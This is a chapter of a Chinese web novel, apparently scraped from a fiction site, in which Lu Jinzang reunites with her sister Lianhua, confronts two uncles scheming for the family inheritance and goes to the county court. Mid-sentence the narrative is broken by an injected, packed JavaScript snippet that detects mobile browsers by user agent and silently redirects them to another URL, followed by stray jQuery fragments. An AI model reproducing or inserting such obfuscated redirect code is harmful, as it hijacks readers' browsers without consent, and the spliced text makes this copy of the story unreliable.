鹿家大酒楼人去楼空,久未打扫的大堂积了厚灰。年轻女子红衣红裙,浑身像是灼热烈焰般,坐在桌边,撑着腮,手里是本《孙子兵法》,整个人与这破败环境格格不入。
她与鹿金藏长得很像,只是更几成熟,一双涵烟眉眉尾上扬,多添几分骄傲与严厉,只坐在那都让人不敢靠近。
小叔看看女子,又看看大伯,开始用手肘去捅大伯。
“啧。”大伯嫌弃地看眼自己这不争气的又想贪钱的兄弟,强挂上笑脸,搓手问女子:“莲华啊,你看这酒楼这么久没打扫了,你在这儿住着多脏啊?跟叔伯们先回家住去吧?”
鹿莲华没分丝毫视线给他们,动作不变,沉默着翻到下一页。
片刻,沉默逼迫地小叔咬牙欲上前拉扯鹿莲华之前,她开口了:“行,二位长辈先将我小妹找回,我便与你们回去商论遗产之事如何?要求算不得不过分吧?”
“这是什么话!鹿金藏跑到哪去了,你都不知道,我们去哪知道!”小叔急得恨不得蹦起来
鹿莲华“啪”地将书摔在桌上,柳眉倒竖,指着小叔就骂:“小叔也好意思说?!我妹妹是如何走的、为什么走的,你可敢与我一一说来!?”她眼眶通红,声音哽咽:“金藏尚未出嫁,可是在室女,为了家产,逼跑在室女,说出来你们都不怕天谴吗?”
虽然家中无男子叫绝户,可只要在室女有能力有金钱打点,遗产最终还是要家里女子继承的。
小叔和大伯也知道,这才拉扯着族中长老一起,希望酒楼轮到族中产业或他们儿子手中。
结果呢?鹿金藏这丫头居然家也不要,连夜跑了,还把所有值钱的东西和地契全带走了。祸不单行,鹿莲华近几日回家奔丧,听到这结果,直接住在酒楼不走了,说什么都要他们还人。
怎么还?都不知道人去哪了,说不定遇到山贼早死了!
偏偏鹿莲华比鹿金藏难缠得多,而且是从小就难缠!
“反正我话撂在这儿了,这家产,我不管有没有我的份,我也不管绝不绝户。活要见人,死要见尸。我只跟金藏谈这些事儿。”
“莲华呀,你这不是为难叔伯们吗?金藏当时只说是投奔你而去的。”
“人呢人呢人呢?!说的好听,我没见到人怎么知道是不是你们动了手脚啊?害我妹妹性命再来骗我?”
鹿莲华已经不在乎所谓的长幼尊卑了,直接指着大伯的鼻子,又挪向小叔:“你们给我听清楚了,我再见不到金藏,又见不到地契,我就去官府告你们!让官老爷们翻你们家!害死我妹妹,你们都给我等着!”
“哎呀,好热闹呀,叔叔伯伯,你们在我家酒楼门口站着干嘛呢?”
叔伯两个原都对鹿金藏恨之入骨,想着要能把她抓回来一定要带去族里跪祠堂磋磨,可自从鹿莲华回来作,他俩都觉得鹿金藏这声音宛如天籁。
二人焦急回头,瞬间瞪大眼睛,上下扫视眼前衣着华贵的鹿金藏。
她是特意打扮过的,身上齐胸襦裙用的鹅黄色罗布,上头暗纹织金宝相花纹,红纱批帛,翻刀髻上插着把打造精细的银钗;她身边翠微虽穿的不及她华贵,却得体淡雅,两人出现在这长安城几十里外的小县,华贵的不像一个世界的。
先注意到楼里鹿莲华的是翠微,她惊喜地呼唤“大小姐”,随即鼻尖一酸,掉下泪来。
想来这就是自己的便宜姐姐了,鹿金藏赶紧过去,正要叫姐姐,鹿莲华照着她脸却是一巴掌。
这巴掌很急很快,但没用力,更多的是一种泄愤。她打完脸,就开始拽着鹿金藏的胳膊,开始拍鹿金藏的背、胳膊,一边拍还一边掉眼泪。
翠微急得冲上来拉架,结果被鹿莲华拽着一起打。
“你去哪了?你去哪了!?你们就是跑了、逃了,为什么不同我写信?!为什么不来扬州找我?这里到扬州才多久?你一点消息都没有,你要急死我吗?!翠微你也是,你为什么不给我写信?啊?”
原来便宜大姐是这个性格吗?不过也是,自己连夜逃跑还没个消息,正常亲戚知道都要急疯了。
鹿金藏知她是好心又担心,自然没回手,只抱着脑袋反复道歉。
“对不起啊大姐,我错了!我不是故意的,主要是跑的太急,我到长安又忙起生意来了,真的一时着急忘了!”
“生意?你能做什么生意出来?”
鹿莲华停下手,语气里是与亲人才会有的那点玩笑的不屑:“别以为我不知道你,打小性子就软,谁说什么你都信、你都听,你做得了什么生意?”
“大小姐,小姐——啊,是老板,现在真的不一样了!”翠微给她看自己的衣裳,又给她看鹿金藏的裙摆:“您看,这都是老板开酒馆赚的!”
“额,翠微,咱们开的叫酒吧……算了,在这里也不重要。”
见鹿莲华和两个叔伯仍不相信,鹿金藏只好把自己到长安打工、开酒吧的经历都讲给他们,还给调酒找了个合理理由,说是鹿母菜谱里记的,自己看就看会了。
鹿莲华听到最后,那双眼睛总算柔和下来,水波从她眼中荡漾开来,最后伴随叹息滚落。
“我想的也是,大娘那么聪明那么好,怎么可能不为你铺好路呢?可我知道消息的时候,大娘都入土为安乐,我连她最后一面都没见到。”
鹿莲华将鹿金藏揽入怀中,脸颊贴着她的额头,泪水打在鹿金藏的额头,哭的胸口颤抖。
这是我的姐姐,我二娘给我生的的姐姐,我们从小一起长大。
她喜欢女红,喜欢做饭,喜欢上一个书生,书生考上探花郎,派去扬州做官,姐姐跟他一起走了……这不是鹿金藏的记忆,又是鹿金藏的记忆。
这具身体仍然保留着属于童年的记忆,关于鹿莲华的记忆。
鹿金藏不觉得难过,她不了解鹿父鹿母,也不了解鹿莲华,但泪水就是不受控制的滚落,双手颤抖着抬起,环抱住鹿莲华的肩膀。
“姐,我失忆了。爹娘死后我不记得好多过去的事情了……”她把曾说给翠微的理由说给鹿莲华,却头一次为自己的谎言惊慌无措。
“他们怎么把你欺负成这样啊?”
鹿莲华甚至没怀疑,她的埋怨全部砸在叔伯和族亲身上。鹿金藏再忍不住,泪流满面。
姐妹二人无言以对,唯有相拥而泣。
场面实在是见者伤心,闻者落泪,翠微看的也不免伤心。
也有人觉得这姐妹相见的场景格外碍眼。
小叔最是耐不住性子,出声打断她们:“两位外甥女,别
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17463438|201286||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
光顾着哭啊。你看现在金藏也回来了,咱们可以聊遗产的事儿了吧?”
“聊?聊什么?”鹿金藏吸吸鼻子,从鹿莲华怀里挣脱:“我是在室女,还没嫁人,爹娘的遗产就是我的!”
“对,遗产就是金藏的。”鹿莲华捏着帕子擦去眼角水痕:“我家还有未成婚的女子,还算不得户绝,遗产自然得到金藏手里。”
“这不对吧大外甥女。”大伯脸上仍是横肉堆砌的笑:“你们家又没有儿子,算是户绝。而且金藏岁数那么小,没能力的情况下,遗产就该归族里——当然,我们也会给金藏嫁妆的。”
“户绝的条件是在室女也没有,我还没嫁人呢,大伯着什么急?”
鹿金藏伸出拇指,指向自己坐的那辆雕花马车:“看到那辆马车了吗?我的!我现在有钱,资产也够,还有能力,爹娘的遗产就该到我手里。”
“我早该想到的,你这丫头当时金蝉脱壳就是为了今天。”大伯牙咬的咯咯作响:“我告诉你,你们家没儿子,你爹早让我儿子替他养老了,你家遗产就是我的!那点银两给你已经是给你脸面了!”
“什么?这是什么时候的事儿?!”小叔急得,蹦起来给大伯一拳:“那你还骗我要和我平分遗产!”
大伯被打蒙,气的骂他:“你个蠢货,蠢货!”骂完就上去掐小叔的脖子。
二人扭打在一起,鹿金藏拽起鹿莲华就往外跑。
聪明人——比如鹿金藏和鹿莲华——早明白大伯的话就是骗人,以为鹿家姐妹俩不懂律法便骗她们,想让他们自己放弃。
真要有这种替人养老的事儿那是要去官府报备,双方在官府签合同文书,还要请族老们见证。大伯要有这种文书,早在鹿父鹿母暴毙的时候就拿出来了,还会等到今天吗?
只有小叔这种人会相信这么扯淡的谎话。
吵吧,打吧!把谁打死了才好呢!鹿金藏想的恶毒,最后没忍住笑出声来,拽着鹿莲华在县中狂奔。
姐妹之间的心有灵犀,让鹿莲华都没问鹿金藏要去哪,就跟着她跑。
两个女孩似乎挣脱了绫罗绸缎的束缚,挣脱所有悲伤,在童年无数次穿梭其中的街巷中奔跑。
没有过去的记忆没关系,妹妹不记得自己也没关系。她们像儿时那样,只要往前跑,前面有彼此,其他的什么都不需要考虑。
最终,鹿金藏停在县衙门口,拎起鼓槌开始砸鼓。
她力气不大,每次都是整个身体带动着鼓槌往上砸,砸的鼓声传遍千里,传的震天响。
“对,告他们!不能让族老来评理,族老都向着他们的!”鹿莲华跟着握上鼓槌,陪鹿金藏一起砸。
“姐,遗产咱俩一人一半!你带回去买好吃的!”
“谁贪你那点钱?我是外嫁妇,钱你自己拿着!”
“那我带你去长安,我给你看看我的铺子生意多好!”
她们畅想算不得未来的未来,最后笑得肆意有张扬,直到县衙中的人出来问她们冤情,她们才止住笑声。
“老爷!县太爷给我们做主啊!”
鹿金藏干嚎起来,眼睛因刚刚哭过而红肿湿润:“鹿家大伯贪图我家遗产,害死了我爹娘不够,逼走我姐妹俩还要害我们性命啊!您为我们做主啊!”